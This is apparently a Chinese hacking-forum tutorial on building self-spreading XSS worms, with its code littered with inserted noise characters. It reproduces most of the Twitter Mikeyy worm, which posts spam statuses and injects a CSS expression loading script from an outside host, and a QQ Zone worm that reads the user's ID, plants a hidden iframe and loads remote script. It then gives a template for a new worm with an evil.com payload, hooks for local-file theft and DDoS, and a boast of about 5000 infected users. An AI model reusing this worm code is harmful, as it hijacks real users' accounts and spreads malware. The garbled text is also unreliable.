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3 N: F! w3 N8 c  18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  ' c5 J, L, z! ~6 Z

& y' Y/ |" P' j. y) X9 X, Y  19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  1 V& D. B9 Y* h* P

) L' K) ~$ }! q8 b, I  20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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  21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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  22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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  23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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  X2 j3 d; L* r' b  C) j  24.    3 E9 f; _; W& g2 u

  `, j8 Q" L4 I9 `" }2 V. S  25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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* K, h4 G, R& v: Y7 G* U% H  26. var updateEncode=urlencode(randomUpdate[genRand]);  ; o' M0 m+ c2 T$ i: b

  g, Y* O/ G: {, ~. p: _  27.
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/ `$ M5 v6 S+ a( X: b! B" P  28. var ajaxConn= new XHConn();  ! `# F: G2 _8 T/ n/ o
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  29. ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  0 p* b9 e: u" g
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  30. var _0xf81bx1c="Mikeyy";
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: b5 ^5 G  V2 F9 i1 i* a  31. var updateEncode=urlencode(_0xf81bx1c);  % F4 ?3 T" o, W; l0 h- w( {/ Y2 W
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  32. var ajaxConn1= new XHConn();
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  33. ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");
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- r8 G% D0 T9 e4 G  34. var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  7 C: I5 J) \, }* q" ^& u

3 L, }4 x/ Q& x# `, Z; W% {  35. var XSS=urlencode(genXSS);
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: j( Z! Z0 C" W  H: i* B  36. var ajaxConn2= new XHConn();  # Z' d: [0 A; i! k4 P! u

& ^  Q- V/ v' c9 S3 E) f7 [# ?  37. ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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  38.    5 ~3 Z" h7 N2 e

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: |4 a6 I& @& g) c: I: t  40. setTimeout(wait(),5250);  8 ^8 `) P# m0 O
复制代码QQ空间XSSfunction killErrors() {return true;}
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% R5 V0 S( D/ V7 A; c6 M: Mwindow.onerror=killErrors;
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( I. x5 j  s, @var shendu;shendu=4;0 T: B" V% d+ ?* z  J6 G8 k& l5 Y# M

. i7 [5 f# v( o& |//---------------global---v------------------------------------------
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" S6 F3 }& j# Z7 W//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？2 B( T6 p: m9 m  S- Q4 M: u! f

8 p2 F+ m; @9 G& xvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";$ K5 M" J8 {  L% z9 x% ?" w
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var myblogurl=new Array();var myblogid=new Array();
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; p3 C5 F0 t( o' U7 @6 Z       var gurl=document.location.href;
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      var gurle=gurl.indexOf("com/");
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      gurl=gurl.substring(0,gurle+3);
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) I! m, t2 Q# B1 X- N, S       var visitorID=top.document.documentElement.outerHTML;& A. p+ B; q- }' `0 f
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         var cookieS=visitorID.indexOf("g_iLoginUin = ");
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% A% E5 r: ~/ h! K2 q  a7 {       visitorID=visitorID.substring(cookieS+14);
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; `3 R# R/ p* `0 v       cookieS=visitorID.indexOf(",");
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      visitorID=visitorID.substring(0,cookieS);
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      get_my_blog(visitorID);2 v7 {; t: N' o9 U6 [6 X8 u2 s

. J' E) O) ?! u  r) J       DOshuamy();" _2 S6 x4 g2 S. ^
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//挂马( H; m( m+ {# r( a- g5 W% I

$ ~7 B' G/ B7 V" v( [" X5 p6 [6 Kfunction DOshuamy(){
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var ssr=document.getElementById("veryTitle");
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9 V9 b* \5 L$ ]& Q/ o) O/ @ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？/ }, o( Y6 `1 _5 ]  ]5 @6 V

( o6 ~& S; W4 Kfunction get_my_blog(visitorID){
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- B% m8 `1 F5 L" W2 A, y! `0 m userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";) p/ D/ n7 J1 E/ [8 ^0 i$ l) W
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象1 o. @! L# {7 ^3 [+ x9 ]& v' C

5 @: v0 T8 l: ]1 z8 R7 w if(xhr){ //成功就执行下面的- d+ q1 f$ z, R' I8 W6 F  ]1 Y; u7 q$ I
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   xhr.open("GET",userurl,false); //以GET方式打开定义的URL  A5 ]  @3 z) \; ?/ {
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   xhr.send();guest=xhr.responseText;
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   get_my_blogurl(guest); //执行这个函数
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//这里似乎是判断没有登录的! q9 c; k) n! B' `" |/ w

) U( w3 k4 u( T, W8 wfunction get_my_blogurl(guest){
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1 a9 `: H" r9 ?0 ~. Q  var mybloglist=guest;, q! \/ S0 ^" _" \) L5 V
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  var myurls;var blogids;var blogide;
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  for(i=0;i<shendu;i++){% F8 M# G* g+ ~0 P% G

# z" v& ^$ Q& W! P# w3 }: B$ a    myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串，干什么的就不知道了
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   if(myurls!=-1){ //找到了就执行下面的4 I3 G- u; D. s. U- _! b4 R. |7 F5 Y0 q

% J# T9 C# J. V! F$ I/ J: F       mybloglist=mybloglist.substring(myurls+11);: _5 _: \5 B- a2 N! T8 z$ V
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      myurls=mybloglist.indexOf(')');, P) A8 j, X! ?: ]
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      myblogid=mybloglist.substring(0,myurls);( A$ Y2 w7 X, g9 \& t' r. d* i) r

! z# F: P" k2 R8 L$ ~- W% R5 R       }else{break;}
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}
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get_my_testself(); //执行这个函数
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//这里往哪跳就不知道了4 e$ Y, ^% H- @' R: k4 J/ N

8 u" C. R$ ^$ F5 Cfunction get_my_testself(){3 L4 O2 n* P6 O5 x# m

  ]9 |* D# A/ a6 y5 P; q0 M  for(i=0;i<myblogid.length;i++){ //获得blogid的值
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   var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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* v- b: n& v9 w6 h5 B  k, f2 U# }    var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象# A3 }* o- |& ?, R3 \
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   if(xhr2){       //如果成功
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& y" e! ^  s+ z; H& t             xhr2.open("GET",url,false);    //打开上面的那个url+ H! v* U2 L# P1 a6 k

  z( X# {, E8 w# H+ X             xhr2.send();
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            guest2=xhr2.responseText;
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' k! J1 ~5 v# Q7 S' ^             var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串，找它做什么？7 _1 W8 B! a& n! O* W6 P9 Z. U
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            var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串; ]* l3 G5 Z# w) {" ]

( f+ c) q$ q  W5 X" F1 n             if(mycheckmydoit!="-1"){ //返回-1则代表没找到
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' m- E. O3 q, L4 P             targetblogurlid=myblogid;
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: ^0 i' T# p8 x2 }6 R1 g             add_jsdel(visitorID,targetblogurlid,gurl); //执行它0 P  `1 v' c, e1 x* Y
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            break;% W& U/ a) M+ J% W& f

! M9 G/ U/ `( y, q* J1 C9 X             }, O9 w, C( l  r9 K
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            if(mycheckit=="-1"){5 k& v, k4 b) Z

! b6 a2 K( O5 @             targetblogurlid=myblogid;3 A1 \% N: G% `% a( ^4 h

( W; ~8 p/ u- h* ]             add_js(visitorID,targetblogurlid,gurl); //执行它% \6 W5 d7 j2 X, |7 S% o3 ~

7 P5 _- r% j7 r" E9 q  B, E" x             break;7 l" j/ a' ?6 T# U1 _; u% m
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            }5 O" H  h! ^" }% @4 w; c- k9 {

# B7 v: \- z8 ]/ n1 ]       }    ; a$ x8 D  d2 V0 j/ A! e

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}6 v" u* C+ I" g

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//--------------------------------------
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1 \! t/ d7 w" ^9 J- p' }//根据浏览器创建一个XMLHttpRequest对象
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function createXMLHttpRequest(){1 y7 ^! b5 r) A' W- o/ s/ ]% G
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var XMLhttpObject=null;  ; @2 ]* T) G  b
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if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  % m+ [  C1 `* ~+ {3 \) L1 p$ |
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else
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   { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
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      for(var i=0;i<MSXML.length;i++)    e* A- g' i# M" @

; j+ L9 D# G( W/ I7 i+ ~       {
5 {4 b# w* i2 O3 f; L
: w. C( V# z. Z  r& T          try
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+ b" I" P% Z# ^6 w& N          {
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            XMLhttpObject=new ActiveXObject(MSXML);  7 n: S" O' U# G/ G" z6 G- U
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            break;
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         }  $ T- H7 O: B  I4 p

& `& b% U0 k2 X; O          catch (ex) {  : N7 i/ I6 A7 S' V' S# F0 C( Y

2 e# ]3 P( H* q: ^+ a, U1 S' A" |          }  * J& n2 J( V, I* e
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      }  * }/ }+ i; g2 A

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return XMLhttpObject;9 V9 S/ @) b/ s. @: S6 f% {3 V3 m
, s: w' d1 r$ T( U* h# l3 N& Z
}
* l! O: l: s: ]1 d# {7 B/ Z- O! z5 `
- p- a4 W! a# G- c; [

$ |6 q9 v) ]; w//这里就是感染部分了
, a/ Z0 T+ S7 K# R5 L
. x5 y0 o% J* ~: ffunction add_js(visitorID,targetblogurlid,gurl){
! a2 N+ k5 i2 V& ^* u( j9 u) h2 A4 N/ j4 `; F7 J; }
var s2=document.createElement('script');- _5 z1 K$ U# k
1 C; K6 f. H% h) C
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();- k; f" X1 x  P, B
6 H4 E, \* P2 d; s3 j
s2.type='text/javascript';7 w: A1 u% j$ o" n$ i4 @
5 q2 g$ m' Q; b2 T6 Y' ^6 P/ P! J
document.getElementsByTagName('head').item(0).appendChild(s2);4 E9 M5 P) ?: |# {% o- P: c
3 g6 A0 n9 S# e
}
! {! t. J8 X$ {: w5 Y' J: V
0 W: H; V5 P  ?: e$ ~* J+ b- U: L3 j( P3 y

+ b. ^' T: C6 N. _* Qfunction add_jsdel(visitorID,targetblogurlid,gurl){
; i% J6 J- X: J' w' }, e) H) v$ l; t2 x0 }) [
var s2=document.createElement('script');' L9 k* u5 [1 Y
1 }1 ]4 d$ |4 @* ]/ ~3 X! [; w
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();% u" w0 O8 R1 b' s2 x5 `( T1 O0 V
, t4 y; _& `4 z9 y* C9 U
s2.type='text/javascript';
# y: H7 `) z1 g7 W" Q/ ~5 D3 W& ]4 l5 o1 Q: Y
document.getElementsByTagName('head').item(0).appendChild(s2);
* J3 ]. A+ X7 x% r; M! u( v6 }4 M, o4 K. g: s/ n
}
. w3 C, e- G1 Z/ ~* P复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:9 X) F6 l: W% _9 [4 ?$ h
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
& ~- M; |1 Y. c8 C: e6 C
' {  ~2 `+ C  q9 m' v% H( A2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
& G0 N1 d, C: E9 D  C8 `/ @- Y' j" O2 c1 J
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
0 d( c/ e3 @, g& R3 |3 n3 Y/ S' X8 f) W  h8 G& i: T

3 X2 w1 I# E4 C( l) D下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.) P4 q/ F' n$ |4 x8 a+ h
9 w+ r" x: B) E
首先,自然是判断不同浏览器,创建不同的对象var request = false;& z: e* [- F, A4 A& M' [' m8 Z
7 W9 R2 ~5 N+ s; R9 t9 y9 T
if(window.XMLHttpRequest) {
: W6 R) j4 {4 \4 w- y2 G) `) j! ~: o% R7 B. h* g8 E$ R+ ?
request = new XMLHttpRequest();
1 |2 N* o/ z0 X6 C3 o; T) a
* l, u0 m; D$ I6 W) H7 v4 bif(request.overrideMimeType) {
2 ^: w; S& [& L) w8 F3 _0 E1 K6 a! @: |2 c
request.overrideMimeType('text/xml');
& v7 u5 M! g% {( k, I3 z. p7 P
. ^3 ^$ c% z( O/ N! U/ K}% t, V$ L; ^7 A4 K" q3 v, J

" k7 U7 X$ s- {, t7 d} else if(window.ActiveXObject) {+ M% l, d$ b- M% A$ D
0 b0 \% U( g0 u6 _! i/ D
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
2 x, Q. U: m4 I2 p9 `1 k9 i' g
2 q. h( B: Y  k% \& dfor(var i=0; i<versions.length; i++) {
5 s7 z% \9 r! W- b0 j. W/ v+ ~6 X+ d. D; ?7 ?  U7 {- y, a
try {  l, p3 J' r, z3 j
$ I( I9 I1 F5 m+ A2 [
request = new ActiveXObject(versions);
" a) v% Y1 u+ O0 n  p
. I$ [5 E% y0 F$ R1 q& ~1 q  o} catch(e) {}4 @; z/ `9 d" \# c

" H% X2 X  a6 ?}8 ?/ H7 V$ T2 @- p  [
- V+ E" i$ S7 Y
}
" P6 _( x+ v& F) g
" W. a3 x- s' {6 ~1 S% l) ?xmlHttpReq=request;* g# d" f6 P! D+ N
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){
% q* h5 n& I  U1 n) C( _3 v* E2 w/ x& e% |' }! I! [
      var Browser_Name=navigator.appName;
. \7 S) B/ G8 c. R  \
& I; G# ^- N  p6 ]       var Browser_Version=parseFloat(navigator.appVersion);
7 z7 E& o& f- K3 M( N# e+ R  x. o2 Q$ B& y: u: z8 F
      var Browser_Agent=navigator.userAgent;
9 B( K6 T# L1 D6 k  Z/ Y* v9 \/ K8 t( K# m
      8 C9 v/ \  [4 `
3 x. e8 z4 r. b; T9 ^
      var Actual_Version,Actual_Name;
- {( W7 E8 c% U# o/ N1 b, z0 s
9 T# u7 F8 g0 I7 V
1 w! h7 }6 j2 B3 h( I  h# F$ O6 @3 Y# U/ R+ ^* ?
      var is_IE=(Browser_Name=="Microsoft Internet Explorer");
7 t& X; _2 J" y1 z0 l* T: ]" F% \0 J  C& J- \
      var is_NN=(Browser_Name=="Netscape");* k6 c1 T- l$ |/ n3 ]
8 {6 r" l/ Y  U2 L; h
      var is_Ch=(Browser_Name=="Chrome");( u8 l2 j6 G1 I/ y

! L) l0 d' f! \9 B! }) ?/ ]
$ u0 g& F3 ?! [5 c& p: x* b9 ~+ |$ I: {0 J% |: U0 ]
      if(is_NN){7 g. e2 X1 K) G& k
3 L* Q) f$ @% Q& T
         if(Browser_Version>=5.0){
0 E( W. C. t7 ~( t3 d6 e: C* U6 v4 v* Y$ \8 S
            var Split_Sign=Browser_Agent.lastIndexOf("/");
6 c9 q! J& B8 p7 E2 K( Q! t* o" {, P% M% A: j0 R- \
            var Version=Browser_Agent.indexOf(" ",Split_Sign);
( \& ?- J4 G% |6 _  e; e5 W/ }$ W4 ]5 H2 g
            var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
! I7 x, K% e4 d& Y' |3 y- i  K# w: u5 H% G
3 a+ t) P! c4 z; l

2 i0 Z, l6 ^5 q9 Q+ X$ x             Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
4 P8 ~- v! _% P! u" {
8 C; z- h5 ]4 o) M; L             Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
, s2 s! Y3 d7 U2 w( J0 S: `7 f$ u! a  R5 \- v: `2 s
         }& Q* Z' _/ e# `- ^
! R' y) ?8 t$ h* M& f+ g0 n* H
         else{
( ^6 r8 E9 W5 G- `
5 m! k0 D! {( Z: ^; @  n             Actual_Version=Browser_Version;& }1 T3 |5 h; d1 {: l
. e' L# A. x( k  }
            Actual_Name=Browser_Name;: ^0 |4 G' w. z0 W4 l& T8 r5 c

! A  O- a- j- _) e          }+ l( y8 P$ t0 O, }0 f
4 i( Q2 N4 c# s, t/ Q
      }
- S4 X, r3 V; ^( l9 }6 _: w, D4 Y! x( {0 U9 [9 J
      else if(is_IE){
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( |* Q- R7 O, }6 d2 k2 Z          var Version_Start=Browser_Agent.indexOf("MSIE");
% [1 h$ ], c3 y- P. R( W( ~% |* y' h% l( S3 n9 a5 P6 `
         var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ z0 D- M1 d6 S- w; P7 x! @8 A. w# a8 D* O+ c/ B0 Y  s' h( w& Z, J
         Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)8 |4 E2 K2 W) Q0 I. G2 j+ k( Q8 b! _
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         Actual_Name=Browser_Name;
5 M* v" \  y, Z  z$ o, T  C% J1 K  S) \4 a$ g
         % L6 H$ D4 K& [; F. f
/ w# F3 b3 s9 [4 F4 E1 X
         if(Browser_Agent.indexOf("Maxthon")!=-1){) z! o7 ^& [/ }5 y
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            Actual_Name+="(Maxthon)";* Z$ K! G& z- E3 T! U: s
# i, Y! W. B$ B. E8 [2 H2 D
         }4 X9 z; s8 i6 b1 M
- ]6 \* w; l, V; @( p+ [
         else if(Browser_Agent.indexOf("Opera")!=-1){
% r( N0 p3 ?7 V: I+ J
. C+ i5 ^' X9 X4 ?5 J/ e( d4 G2 h0 t             Actual_Name="Opera";' r" ~' Y# Y2 @& g' }

# l+ \- |% T7 I# k# f             var tempstart=Browser_Agent.indexOf("Opera");+ l9 j/ ]  v, ^2 r+ d

9 }4 H2 b; ~0 r, U  D9 a             var tempend=Browser_Agent.length;
% a8 _$ L) b9 h; X' {) R  L7 }& F* d# x/ T
            Actual_Version=Browser_Agent.substring(tempstart+6,tempend)! M3 u" F% U' s0 Y

7 j* V- \. O- u+ ?          }4 ^; D- L- y- r2 s. D
9 A; S9 T$ T0 g' `
      }: r" E& o8 V/ a

$ U+ [5 A9 x) b! Z       else if(is_Ch){
1 c1 s2 b+ R) U3 I: W7 p- y5 n/ n9 p0 G& c' |9 X/ y7 {' J0 H
         var Version_Start=Browser_Agent.indexOf("Chrome");
# g4 u' i" e/ [% i& q6 U% t* S' j$ y4 q/ ~% c8 K, f9 c% s
         var Version_End=Browser_Agent.indexOf(";",Version_Start);
7 Z0 V; y* c; `- l1 m+ f4 I7 n1 m3 y- O' @& F' {6 H" p
         Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
6 ]. e+ e+ }8 R% k" r( K( r' Y
- a1 o) k9 Z% Q0 {" u+ a, A          Actual_Name=Browser_Name;
# u# v$ T3 S2 W# X  x: w
' ~  P; L( e  e8 d- T9 C2 U          0 [- M0 I; C) x; v/ ~; G# q
5 X* L5 P+ p4 ^- z1 F7 ]
         if(Browser_Agent.indexOf("Maxthon")!=-1){
) _" g+ ^( k3 ^% I' w$ s
8 O5 ?/ o4 c. C9 [1 l2 ~6 \/ c             Actual_Name+="(Maxthon)";
9 v7 @" m% s2 L  @6 y3 d  E0 [) U2 `$ S+ _" |8 T# d1 k" K+ k
         }7 w) Q4 v  a& x0 I9 [

: n- J2 n2 I% o5 `" v: Z. B. U+ t  u          else if(Browser_Agent.indexOf("Opera")!=-1){
* x' D5 Q/ F  D$ u  K
' R- t2 a0 _' p! z" ?5 C             Actual_Name="Opera";
# g. X& z% g; {8 K9 G! @" l' m9 y, G5 s2 n, O2 S7 G
            var tempstart=Browser_Agent.indexOf("Opera");
& W0 }2 Q; O, I- ^6 g
# M2 B+ j8 k# M             var tempend=Browser_Agent.length;- @8 `: {9 O' U

8 F. w: |1 W8 a* {             Actual_Version=Browser_Agent.substring(tempstart+6,tempend); L  \7 y( D7 R0 m5 V: n/ H

( w" V: W/ j: z* S; j# \          }, M; Z5 m( O' j2 V+ K0 x- s. f2 b* b
; {/ [2 @9 t& C  V' R3 K
      }
$ C) [, G" [0 u% M6 F$ v8 j
. w1 u' e4 D6 M' p$ n( N       else{
( }* }) m+ @6 ^! N( Q2 i3 [
! C( a- o4 C! d# _% i% q0 y0 [6 I          Actual_Name="Unknown Navigator"
) h3 u; Q6 Y, s) U7 ~: T/ c* T2 b0 w7 q) G+ B4 A2 n  U6 ?, z! X/ {1 K
         Actual_Version="Unknown Version"5 o' A0 R9 ?& E# b. V# V
7 m# s% {# m2 F9 q0 J6 `
      }' c3 W0 m9 P4 Y' G7 i

; f3 ~, ^4 t( C% O5 h; b% a6 H
5 b' v* v" a) {" }) ?7 W. I3 h0 T
5 B$ [7 N2 M/ ?1 a+ s       navigator.Actual_Name=Actual_Name;
# x& Q0 W3 L6 `* j
/ r( K9 h/ P+ n* ~) n6 J       navigator.Actual_Version=Actual_Version;: I* U9 Y' F$ p

- n8 _+ _" o7 U/ s       * I% }; y" J2 `. L2 s- x

1 C( U  q1 t, Z       this.Name=Actual_Name;
1 E: l& ]' z! ~1 a" O" e2 V. D( n1 I0 p5 G* x5 E
      this.Version=Actual_Version;5 h6 T% v; w& g1 ~7 w" }
% M& n5 g1 N$ z) Y1 r7 f
}
) p. Y$ V% i0 S& Z3 J9 s/ k
6 b6 H8 a  ?1 m% r: R- b' ` browserinfo();- k$ v4 N! y' {- F4 V
% L0 R: B# \! M( {
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}' e5 L8 w# U1 J" }0 r

; i' W5 L  k9 _/ x0 I! T! I if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}" }9 f, B$ Q, _8 c2 z/ k
- S$ f  o' M- x* i/ g: i7 p+ A
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
1 R# e# M; h2 u( j! _6 N% R5 M* i+ y$ {
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}9 M5 R) J. n$ H
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
& G1 B3 ]* P0 l3 r复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
6 c9 p/ D! j( h- Z" s: Z9 w0 f. R复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.- Q/ B  J7 L; Q: J; N9 }: v
6 H; [+ }+ l9 w% W, R  X0 G
xmlHttpReq.send(null);* c+ j, X4 }" i8 C8 ^! V, ]
+ D+ c$ f. L3 ?5 I7 d+ h
var resource = xmlHttpReq.responseText;
! z4 A& u' n! A# e
& s* D9 i! H9 dvar id=0;var result;
5 T2 M" i* B- l* t, k& D. @) ]0 ]( o2 e4 V9 {
var patt = new RegExp("bugbug.js","g");    //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
6 c8 `% V% _9 N- u
1 v3 F8 r" W: a3 Twhile ((result = patt.exec(resource)) != null)  {; y9 y; Q9 a. ]) C+ q3 B6 l

3 h9 ~4 Y; r6 s# s; t5 P( mid++;5 L" k' i8 B, Y. g

2 w+ R8 }. J5 f8 J3 B}6 a9 P5 V2 E! c$ f1 ^
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){    //这里我们假设要求那个页面蠕虫的数量要有2只.
+ {6 G- Q+ c$ G0 k4 w
: v! a+ p- @* qno=resource.search(/my name is/);
  s' m& u7 E9 l- m1 e1 q1 r
! N" Z+ ~8 m& h# C$ S8 c2 ~$ Ivar wd='<script src="http://www.evil.com/bugbug.js"</script>';       //wd是存在XSS漏洞的变量.我们在这里写入JS代码.- H$ M3 [3 l2 |! x- g2 q8 Q, A
: m4 A* _5 G+ B. ?, E" i
var post="wd="+wd;
8 D/ K# `7 c3 j  n6 f7 U
4 E3 f8 h; t5 nxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);       //把感染代码 POST出去.) W* _# h7 @: M( t. k/ @* T
& _3 P$ e+ r# d7 z
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");% a* s+ q% t9 A8 T4 A; r8 w
' e0 z7 X1 H( w9 F
xmlHttpReq.setRequestHeader("content-length",post.length);
, Q3 R8 _# X* p6 ^2 r% p
% S1 A' D1 v* m$ A6 H" PxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
) |" O6 E  V) U) x& \. }$ ~" Q7 U3 P, u) H
xmlHttpReq.send(post);7 W) K" s4 K4 k, R! ^7 ?2 l

+ L, P5 G8 r& v. V}
9 ~; G3 b; p/ m0 o复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
! u7 [4 ^; ~' N- O4 n2 _: _& A1 s3 _2 v6 I* G, E; Q
var no=resource.search(/my name is/);    //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
% O0 \. _# @  C0 _+ d5 k9 a0 g7 o, V+ T$ L# T, q
var namee=resource.substr(no+21,5);    //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.9 y4 j" n! [/ \. q2 l0 ~( e
) Q" y. S& F2 z/ o% a" {: Q
var wd="Support!"+namee+"<br>";       //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取., _5 H( `! o& q6 O( [8 v
& F; S: S* S5 M% M
var post="wd="+wd;/ ?/ a4 g0 A( v* ]# A& }
3 d0 P8 \& I( p4 k8 c
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);) U1 a* b* A/ L

$ R* A+ I" l3 E, N+ d8 A$ f2 LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");& c# S7 O  N9 {. F, J
: g9 q2 Q- N+ m! @) y5 v
xmlHttpReq.setRequestHeader("content-length",post.length); " W# g- _) X* a7 w  s! Q% O

4 G" ~) z2 K/ H$ DxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
- ?# W8 ~/ @  P5 ]; r+ X+ Z8 M# A8 ]* q/ |, W* u, q
xmlHttpReq.send(post);                //把传播的信息 POST出去.  T7 Z% W3 G4 T0 R& N
3 {* r  P! D$ p" `2 B  R
}
' v2 x2 g% O$ l2 `复制代码-----------------------------------------------------总结-------------------------------------------------------------------
+ d' E0 S4 w9 E1 K; E0 ~: i' _4 |4 k+ j5 S

8 h+ C% a. O4 R6 a! h
/ L( {( P2 m# q, l0 T& u$ m本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
2 _3 [9 i6 N6 ]4 ]" Q! E蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.- c- P2 K; O) T4 g2 w+ ^! r
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.$ V# g, ]4 R5 }+ N, B" S
3 Z5 q7 c; w+ f7 b, d

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本文引用文档资料:% J. K+ H( X* b: A  @
' l5 b+ y) S4 `* p3 z! q
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
: h2 p0 I- P, B6 u& a, GOther XmlHttpRequest tricks (Amit Klein, January 2003)2 P3 `- C% e* i9 a
"Cross Site Tracing" (Jeremiah Grossman, January 2003)0 j; ~- Z5 ^5 Z, f9 t! G
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
# H% l# R1 n1 t! c4 l空虚浪子心BLOG http://www.inbreak.net
( a' N, ~( d  b% m' cXeye Team http://xeye.us/- n3 i% [% J# T! j- ~

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